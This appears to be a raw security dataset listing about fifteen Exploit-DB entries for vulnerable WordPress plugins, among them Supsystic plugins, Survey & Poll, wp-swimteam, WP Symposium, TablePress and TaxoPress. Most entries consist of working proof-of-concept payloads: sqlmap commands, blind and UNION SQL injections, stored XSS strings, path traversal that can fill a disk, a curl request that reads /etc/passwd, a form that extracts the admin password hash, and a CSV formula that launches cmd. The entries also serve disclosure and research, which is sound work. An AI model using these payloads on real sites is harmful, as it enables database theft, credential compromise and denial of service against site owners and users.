deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49542
Description: WordPress Plugin Supsystic Digital Publications 1.6.9 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2021-02-08
Author: Erik David Martin

Exploit:
# Exploit Title: WordPress Plugin Supsystic Digital Publications 1.6.9 - Multiple Vulnerabilities
# Date: 24/07/2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/digital-publications-by-supsystic.1.6.9.zip
# Version: 1.6.9
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2

# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply
# 29/11 2020: WordPress Plugin Security team contacted
# 20/12 2020: Vulnerability fixed


##################################
	  Path Traversal and DoS
##################################


# 1. Description

The "Folder" tab under "Publications" is vulnerable to path traversal and exposes information not stored on the web server. The user can gain information regarding images stored in, for example, home directories. The vulnerable code is in the utils.php file, which uses readdir().


# 2. Proof of Concept (PoC)

Enter the payload into the "Folder" input field:
../../../../../../../../../home/erik

However, if the web server attempts to open a folder without read access, the function will run in an infinite loop. For example:
../../../../../../../../../root

The web server will execute the code in an infinite loop and store massive amounts of data in the error.log file until the hard drive is full. The import Folder feature does not work anymore after trying to open directories without read permission when using path traversal techniques. Apache error.log file output:

[Fri Jul 24 20:45:43[PII_REDACTED]] [:error] [pid 3516] [client 192.168.0.51:47892] PHP Warning:  readdir() expects parameter 1 to be resource, boolean given in /var/www/wordpress/wp-content/plugins/digital-publications-by-supsystic/classes/utils.php on line 137, referer: http://192.168.0.49/wp-admin/term.php?taxonomy=dps_book&tag_ID=16&post_type=post&wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Ddps_book



##################################
			Stored XSS
##################################


# 1. Description

When adding a new publication under the section "Publications", all values such as Area Width, Publication Width and so on are vulnerable to stored XSS. It is possible to store code in all input fields as the code does not sanitize any user input.


# 2. Proof of Concept (PoC)

Enter the following payload into any input field: "><script>alert(1)</script><!--'
The payload is stored in the publication details and will be executed whenever the user views the "Publications" page or edits a publication.
Exploit-DB #49540
Description: WordPress Plugin Supsystic Membership 1.4.7 - 'sidx' SQL injection
Type: webapps
Platform: php
Date: 2021-02-08
Author: Erik David Martin

Exploit:
# Exploit Title: WordPress Plugin Supsystic Membership 1.4.7 - 'sidx' SQL injection
# Date: 09/08/2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/membership-by-supsystic.1.4.7.zip
# Version: 1.4.7
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2



# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply
# 29/11 2020: WordPress Plugin Security team contacted
# 22/12 2020: Vulnerability fixed


# 1. Description

The GET parameters "search" and "sidx" does not sanitize user input when searching for badges.


# 2. Proof of Concept (PoC)

Use ZAP/Burp to capture the web request when searching for data and save it to request.txt
Referer: http://192.168.0.63/wp-admin/admin.php?page=supsystic-membership&module=badges&action=index

sqlmap -r request.txt --dbms=mysql -p search

Parameter: search (GET)
	Type: time-based blind
	Payload: route=badges.getTblList&wpnonce=729ac6199a&action=supsystic-membership&search=s' AND (SELECT 8958 FROM (SELECT(SLEEP(5)))oBIL) AND 'trjK'='trjK&_search=false&nd=[PII_REDACTED]86&rows=10&page=0&sidx=id&sord=desc

	Type: UNION query
	Payload: route=badges.getTblList&wpnonce=729ac6199a&action=supsystic-membership&search=s' UNION ALL SELECT NULL,CONCAT(0x71786a6b71,0x[PII_REDACTED]704c625352574e6e424874456a[PII_REDACTED]5473525a466d47576f775a46446b4e7055,0x716a7a6a71),NULL,NULL-- -&_search=false&nd=[PII_REDACTED]86&rows=10&page=0&sidx=id&sord=desc
Exploit-DB #49539
Description: WordPress Plugin Supsystic Newsletter 1.5.5 - 'sidx' SQL injection
Type: webapps
Platform: php
Date: 2021-02-08
Author: Erik David Martin

Exploit:
# Exploit Title: WordPress Plugin Supsystic Newsletter 1.5.5 - 'sidx' SQL injection
# Date: 24/07 2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/newsletter-by-supsystic.1.5.5.zip
# Category: Web Application
# Version: 1.5.5
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2


# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply
# 29/11 2020: WordPress Plugin Security team contacted
# 01/12 2020: Plugin/Project closed by WordPress Security team


# 1. Description

The GET parameter "sidx" does not sanitize user input when searching for existing subscribers.


# 2. Proof of Concept (PoC)

Use ZAP/Burp to capture the web request when searching for existing subscribers and save it to request.txt.
Referer: http://192.168.0.49/wp-admin/admin.php?page=newsletters-supsystic&tab=subscribers

sqlmap -r request.txt --dbms=mysql -p sidx

Parameter: sidx (GET)
	Type: time-based blind
	Payload: mod=subscribers&action=getListForTbl&pl=nbs&reqType=ajax&search[text_like]=testing&search[search_list]=0&_search=false&nd=[PII_REDACTED]44&rows=25&page=0&sidx=id AND (SELECT 1511 FROM (SELECT(SLEEP(5)))gTHi)&sord=desc
Exploit-DB #49533
Description: WordPress Plugin Supsystic Pricing Table 1.8.7 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2021-02-08
Author: Erik David Martin

Exploit:
# Exploit Title: WordPress Plugin Supsystic Pricing Table 1.8.7 - Multiple Vulnerabilities
# Date: 24/07/2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/pricing-table-by-supsystic.1.8.7.zip
# Version: 1.8.7 and 1.8.6 
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2

# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply
# 29/11 2020: WordPress Plugin Security team contacted
# 07/12 2020: Vulnerability patched


##################################
			   SQLi
##################################


# 1. Description

The GET parameter "sidx" does not sanitize user input when searching for existing pricing tables.


# 2. Proof of Concept (PoC)

Use ZAP/Burp to capture the web request when searching for existing pricing tables and save it to request.txt
Referer: http://192.168.0.49/wp-admin/admin.php?page=supsystic-tables&module=tables

sqlmap -r request.txt --dbms=mysql -p sidx

Parameter: sidx (GET)
    Type: boolean-based blind
    Payload: mod=tables&action=getListForTbl&pl=pts&reqType=ajax&pts_nonce=2893fe633b&search[text_like]=test&_search=false&nd=[PII_REDACTED]98&rows=10&page=0&sidx=(SELECT (CASE WHEN (5313=5313) THEN 0x6964 ELSE (SELECT 9338 UNION SELECT 5490) END))&sord=desc

    Type: time-based blind
    Payload: mod=tables&action=getListForTbl&pl=pts&reqType=ajax&pts_nonce=2893fe633b&search[text_like]=test&_search=false&nd=[PII_REDACTED]98&rows=10&page=0&sidx=id AND (SELECT 9475 FROM (SELECT(SLEEP(5)))OjhB)&sord=desc



##################################
			Stored XSS
##################################


# 1. Description

The "Edit name" and "Edit HTML" features are vulnerable to stored XXS.
Location: http://192.168.0.49/wp-admin/admin.php?page=tables-supsystic&tab=tables_edit&id=[TABLE ID]


# 2. Proof of Concept (PoC)

Enter the following payload into the "Edit" field in the top left corner: "><script>alert(1)</script><!--'
The payload will execute when viewing the pricing table itself, and also in the "Show All Tables" section.
Enter the following payload into the "Edit HTML" section in the top right corner:	<script>alert(1)</script><!--
The payload will get stored and will execute everytime the user attempts to view the pricing table.
Exploit-DB #49532
Description: WordPress Plugin Supsystic Ultimate Maps 1.1.12 - 'sidx' SQL injection
Type: webapps
Platform: php
Date: 2021-02-08
Author: Erik David Martin

Exploit:
# Exploit Title: WordPress Plugin Supsystic Ultimate Maps 1.1.12 - 'sidx' SQL injection
# Date: 24/07/2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/ultimate-maps-by-supsystic.1.1.12.zip
# Category: Web Application
# Version: 1.1.12
# Tested on: 16.04.6 LTS / WordPress 5.4.2

# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply
# 29/11 2020: WordPress Plugin Security team contacted
# 09/12 2020: Vulnerability fixed

# 1. Description

The GET parameter "sidx" does not sanitize user input when searching for existing maps.

# 2. Proof of Concept (PoC)

Use ZAP/Burp to capture the web request when searching for existing maps and save it to request.txt
Referer: http://192.168.0.49/wp-admin/admin.php?page=ultimate-maps-supsystic

sqlmap -r request.txt --dbms=mysql -p sidx

Parameter: sidx (GET)
	Type: boolean-based blind
	Payload: mod=maps&action=getListForTbl&pl=ums&reqType=ajax&search[text_like]=t&_search=false&nd=[PII_REDACTED]06&rows=10&page=1&sidx=(SELECT (CASE WHEN (7084=7084) THEN 0x6964 ELSE (SELECT 3932 UNION SELECT 2499) END))&sord=desc

	Type: time-based blind
	Payload: mod=maps&action=getListForTbl&pl=ums&reqType=ajax&search[text_like]=t&_search=false&nd=[PII_REDACTED]06&rows=10&page=1&sidx=id AND (SELECT 9735 FROM (SELECT(SLEEP(5)))AJAb)&sord=desc
Exploit-DB #45411
Description: WordPress Plugin Survey & Poll 1.5.7.3 - 'sss_params' SQL Injection
Type: webapps
Platform: php
Date: 2018-09-14
Author: Ceylan BOZOĞULLARINDAN

Exploit:
# Exploit Title: Wordpress Plugin Survey & Poll 1.5.7.3 - 'sss_params' SQL Injection
# Date: 2018-09-09
# Exploit Author: Ceylan Bozogullarindan
# Vendor Homepage: http://modalsurvey.pantherius.com/
# Software Link: https://downloads.wordpress.org/plugin/wp-survey-and-poll.zip
# Version: 1.5.7.3
# Tested on: Windows 10
# CVE: N\A

# Description
# The vulnerability allows an attacker to inject sql commands using a value of a cookie parameter. 

# PoC
# Step 1. When you visit a page which has a poll or survey, a question will be appeared for answering.
# Answer that question.
# Step 2. When you answer the question, wp_sap will be assigned to a value. Open a cookie manager, 
# and change it with the payload showed below;

["[PII_REDACTED]')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]

# It is important that the "OR" statement must be 1=2. Because, application is reflecting the first result 
# of the query. When you make it 1=1, you should see a question from firt record. 
# Therefore OR statement must be returned False.

# Step 3. Reload the page. Open the source code of the page. Search "sss_params". 
# You will see the version of DB in value of sss_params parameter. 

# The Request

Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: wp_sap=["[PII_REDACTED]')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]	
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

# The result from source code of the page

<script type='text/javascript'>
/* <![CDATA[ */
var sss_params = {"survey_options":"{\"options\":\"[\\\"center\\\",\\\"easeInOutBack\\\",\\\"\\\",\\\"-webkit-linear-gradient(top , rgb(5, 40, 242) 13% , rgb(204, 204, 204) 70%);-moz-linear-gradient(top , rgb(5, 40, 242) 13% , rgb(204, 204, 204) 70%);-ms-linear-gradient(top , rgb(5, 40, 242) 13% , rgb(204, 204, 204) 70%);-o-linear-gradient(top , rgb(5, 40, 242) 13% , rgb(204, 204, 204) 70%);linear-gradient(top , rgb(5, 40, 242) 13% , rgb(204, 204, 204) 70%);\\\",\\\"rgb(0, 0, 0)\\\",\\\"rgb(93, 93, 93)\\\",\\\"1\\\",\\\"5\\\",\\\"12\\\",\\\"10\\\",\\\"12\\\",500,\\\"Thank you for your feedback!\\\",\\\"0\\\",\\\"0\\\",\\\"0\\\"]\",\"plugin_url\":\"http:\\\/\\\/www.*****.com\\\/wp-content\\\/plugins\\\/wp-survey-and-poll\",\"admin_url\":\"http:\\\/\\\/www.******.com\\\/wp-admin\\\/admin-ajax.php\",\"survey_id\":\"[PII_REDACTED]\",\"style\":\"modal\",\"expired\":\"false\",\"debug\":\"true\",\"questions\":[[\"Are You A First Time Home Buyer?\",\"Yes\",\"No\"],[\>>>>>>"10.1.36-MariaDB-1~trusty\"<<<<<<<]]}"};
/* ]]> */
</script>

DB version: "10.1.36-MariaDB-1~trusty"....
Exploit-DB #37601
Description: WordPress Plugin Swim Team 1.44.10777 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2015-07-13
Author: Larry W. Cashdollar

Exploit:
Title: Remote file download vulnerability in Wordpress Plugin wp-swimteam v1.44.10777
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-02
Download Site: https://wordpress.org/plugins/wp-swimteam
Vendor: Mike Walsh www.MichaelWalsh.org
Vendor Notified: 2015-07-02, fixed in v1.45beta3
Vendor Contact: Through website
Advisory: http://www.vapid.dhs.org/advisory.php?v=134
Description: Swim Team (aka wp-SwimTeam) is a comprehensive WordPress plugin to run a swim team including registration, volunteer assignments, scheduling, and much more.
Vulnerability:
The code in ./wp-swimteam/include/user/download.php doesn't sanitize user input from downloading sensitive system files:


 50             $file = urldecode($args['file']) ;
 51             $fh = fopen($file, 'r') or die('Unable to load file, something bad has happened.') ;
 52 
 53             while (!feof($fh))
 54                 $txt .= fread($fh, 1024) ;
 55 
 56             //  Clean up the temporary file - permissions
 57             //  may prevent this from succeedeing so use the '@'
 58             //  to suppress any messages from PHP.
 59 
 60             @unlink($file) ;
 61         }
 62 
 63         $filename = urldecode($args['filename']) ;
 64         $contenttype = urldecode($args['contenttype']) ;
 65 
 66         // Tell browser to expect a text file of some sort (usually txt or csv)
 67 
 68         header(sprintf('Content-Type: application/%s', $contenttype)) ;
 69         header(sprintf('Content-disposition:  attachment; filename=%s', $filename)) ;
 70         print $txt ;

CVEID:
OSVDB:
Exploit Code:

  • $ curl "http://server/wp-content/plugins/wp-swimteam/include/user/download.php?file=/etc/passwd&filename=/etc/passwd&contenttype=text/html&transient=1&abspath=/usr/share/wordpress"
Exploit-DB #17679
Description: WordPress Plugin Symposium 0.64 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-17
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress WP Symposium plugin <= 0.64 SQL Injection Vulnerability
# Date: 2011-08-17
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-symposium.0.64.zip
# Version: 0.64 (tested)

---
PoC
---
http://localhost/wp-content/plugins/wp-symposium/uploadify/get_profile_avatar.php?uid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
$uid = $_REQUEST['uid'];
$sql = "SELECT profile_avatar FROM ".$wpdb->base_prefix."symposium_usermeta WHERE uid = ".$uid;
Exploit-DB #35505
Description: WordPress Plugin Symposium 14.10 - SQL Injection
Type: webapps
Platform: php
Date: 2014-12-09
Author: Kacper Szurek

Exploit:
# Exploit Title: WP Symposium 14.10 SQL Injection
# Date: 22-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek
# Software Link: https://downloads.wordpress.org/plugin/wp-symposium.14.10.zip
# Category: webapps
# CVE: CVE-2014-8810
  
1. Description
  
$_POST['tray'] is not escaped.

File: wp-symposium\ajax\mail_functions.php
$tray = $_POST['tray'];
$unread = $wpdb->get_var("SELECT COUNT(*) FROM ".$wpdb->base_prefix.'symposium_mail'." WHERE mail_from = ".$mail->mail_from." AND mail_".$tray."_deleted != 'on' AND mail_read != 'on'");

http://security.szurek.pl/wp-symposium-1410-multiple-xss-and-sql-injection.html
  
2. Proof of Concept

Message ID must be one of your sended message (you can check this on user mailbox page -> sent items -> page source -> div id="this_is_message_id" class="mail_item mail_item_unread")

<form method="post" action="http://wordpress-instalation/wp-content/plugins/wp-symposium/ajax/mail_functions.php">
    <input type="hidden" name="action" value="getMailMessage">
    Message ID: <input type="text" name="mid"><br />
    SQL: <input type="text" name="tray" value="in_deleted = 1 UNION (SELECT user_pass FROM wp_users WHERE ID=1) LIMIT 1, 1 -- ">
    <input type="submit" value="Inject">
</form>

Returned value will be between "[split]YOUR_RETURNED_VALUE[split]"
  
3. Solution:
  
Update to version 14.11
http://www.wpsymposium.com/2014/11/release-information-for-v14-11/
https://downloads.wordpress.org/plugin/wp-symposium.14.11.zip
Exploit-DB #50270
Description: WordPress Plugin TablePress 1.14 - CSV Injection
Type: webapps
Platform: php
Date: 2021-09-08
Author: Nikhil Kapoor

Exploit:
# Exploit Title: WordPress Plugin TablePress 1.14 - CSV Injection 
# Date: 07/09/2021
# Exploit Author: Nikhil Kapoor
# Vendor Homepage:
# Software Link: https://wordpress.org/plugins/tablepress/
# Version: 1.14
# Category: Web Application
# Tested on Windows

How to Reproduce this Vulnerability:

1. Install WordPress 5.8.0
2. Install and activate TablePress
3. Navigate to TablePress >> Add New >> Enter Table Name and Description (If You want this is Optional) >> Select Number of Rows and Columns
4. Click on Add Table
5. Now in Table Content Input Field Enter CSV Injection Payload
6. Click on Save Changes
6. Now go to All Table in TablePress select our entered table >> Click on Export >> Select CSV as an Export Format.
7. Click on Download Export File
8. Open the exported CSV file you will see that CSV Injection got Successfully Executed.

Payload Used :- @SUM(1+9)*cmd|' /C calc'!A0
Exploit-DB #37063
Description: WordPress Plugin TagGator - 'tagid' SQL Injection
Type: webapps
Platform: php
Date: 2012-04-05
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/52908/info

TagGator is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Update Apr 9, 2012: The vendor disputes this issue stating the issue can not be exploited as described, as the reported parameter does not exist.

http://www.example.com/wp-content/plugins/taggator/taggator.php?tagid=[Sql]
Exploit-DB #38023
Description: WordPress Plugin Tagged Albums - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-11-16
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/56569/info

The Tagged Albums plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/taggedalbums/image.php?id=[sql]
Exploit-DB #35300
Description: WordPress Plugin TagNinja 1.0 - 'id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-01
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46090/info

The TagNinja plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

TagNinja 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/tagninja/fb_get_profile.php?id=[xss]
Exploit-DB #45225
Description: WordPress Plugin Tagregator 0.6 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-08-20
Author: ManhNho

Exploit:
# Exploit Title: WordPress Plugin Tagregator 0.6 - Cross-Site Scripting
# Date: 2018-05-05
# Exploit Author: ManhNho
# Vendor Homepage: https://wordpress.org/plugins/tagregator/
# Software Link: https://downloads.wordpress.org/plugin/tagregator.0.6.zip
# Ref: https://pastebin.com/ZGr5tyP2
# Version: 0.6
# Tested on: CentOS 6.5
# CVE : CVE-2018-10752
# Category : Webapps

# 1. Description
# WordPress Plugin Tagregator 0.6 - Stored XSS

# 2. Proof of Concept

1. Login to admin panel
2. Access to Wordpress Tagregator setting, then choose Tweets/Instagram
Media/Flickr Post/Google+ Activities and click "Add New" button
3. In title field, inject XSS pattern such as:
    <script>alert('xss')</script> and click Preview button
4. This site will response url that will alert popup named xss
5. Send this xss url to another administrators, we have same alert
Exploit-DB #50442
Description: WordPress Plugin TaxoPress 3.0.7.1 - Stored Cross-Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2021-10-25
Author: Akash Patil

Exploit:
# Exploit Title: WordPress Plugin TaxoPress 3.0.7.1 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 23-10-2021
# Exploit Author: Akash Rajendra Patil
# Vendor Homepage:
# Software Link: https://wordpress.org/plugins/simple-tags/
# Tested on Windows
# CVE: CVE-2021-24444
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24444
# Reference: https://wpscan.com/vulnerability/a31321fe-adc6-4480-a220-35aedca52b8b


How to reproduce vulnerability:

1. Install Latest WordPress

2. Install and activate TaxoPress Version 3.0.7.1
3. Navigate to Add Table >> add the payload into 'Table Name & Descriptions'
and enter the data into the user input field.

4. Enter JavaScript payload which is mentioned below
"><img src=x onerror=confirm(docment.domain)>

5. You will observe that the payload successfully got stored into the
database and when you are triggering the same functionality in that
time JavaScript payload is executing successfully and we are getting a
pop-up.